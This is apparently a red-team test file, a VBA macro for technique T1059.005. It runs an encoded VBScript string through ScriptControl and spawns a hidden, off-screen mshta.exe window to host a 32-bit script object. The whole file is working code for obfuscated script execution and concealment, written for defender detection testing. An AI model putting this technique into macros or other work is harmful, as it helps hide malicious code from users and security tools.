Ama Smuggle Avocados
23da9127e3
* initial import of T1059.005 (Encoded VBS code execution) * updates * refactor module * updates * updates * updates Co-authored-by: avocado <avocados@smuggler.com> Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
56 lines
1.8 KiB
Plaintext
56 lines
1.8 KiB
Plaintext
Sub Exec()
|
|
On Error Resume Next
|
|
|
|
' Utilizing & Chr(34) & in order to escape a double quote
|
|
Code = "#@~^FgAAAA==\ko$K6,Jb" & Chr(34) & "K,PFZ*1RZ!XEoQUAAA==^#~@"
|
|
|
|
Set sc = CreateObjectx86("ScriptControl")
|
|
sc.Language = "VBScript.Encode"
|
|
sc.AllowUI = True
|
|
sc.AddCode (Code)
|
|
|
|
sc.Run ("Result")
|
|
|
|
End Sub
|
|
|
|
Function CreateObjectx86(sProgID)
|
|
|
|
Static oWnd As Object
|
|
Dim bRunning As Boolean
|
|
|
|
#If Win64 Then
|
|
bRunning = InStr(TypeName(oWnd), "HTMLWindow") > 0
|
|
If IsEmpty(sProgID) Then
|
|
If bRunning Then oWnd.Close
|
|
Exit Function
|
|
End If
|
|
If Not bRunning Then
|
|
Set oWnd = CreateWindow()
|
|
oWnd.execScript "Function CreateObjectx86(sProgID): Set CreateObjectx86 = CreateObject(sProgID): End Function", "VBScript"
|
|
End If
|
|
Set CreateObjectx86 = oWnd.CreateObjectx86(sProgID)
|
|
#Else
|
|
If Not IsEmpty(sProgID) Then Set CreateObjectx86 = CreateObject(sProgID)
|
|
#End If
|
|
|
|
End Function
|
|
|
|
Function CreateWindow()
|
|
|
|
' source http://forum.script-coding.com/viewtopic.php?pid=75356#p75356
|
|
Dim sSignature, oShellWnd, oProc
|
|
|
|
On Error Resume Next
|
|
sSignature = Left(CreateObject("Scriptlet.TypeLib").GUID, 38)
|
|
CreateObject("WScript.Shell").Run "%systemroot%\syswow64\mshta.exe about:""<head><script>moveTo(-32000,-32000);document.title='x86Host'</script><hta:application showintaskbar=no /><object id='shell' classid='clsid:8856F961-340A-11D0-A96B-00C04FD705A2'><param name=RegisterAsBrowser value=1></object><script>shell.putproperty('" & sSignature & "',document.parentWindow);</script></head>""", 0, False
|
|
Do
|
|
For Each oShellWnd In CreateObject("Shell.Application").Windows
|
|
Set CreateWindow = oShellWnd.GetProperty(sSignature)
|
|
If Err.Number = 0 Then Exit Function
|
|
Err.Clear
|
|
Next
|
|
Loop
|
|
|
|
End Function
|
|
|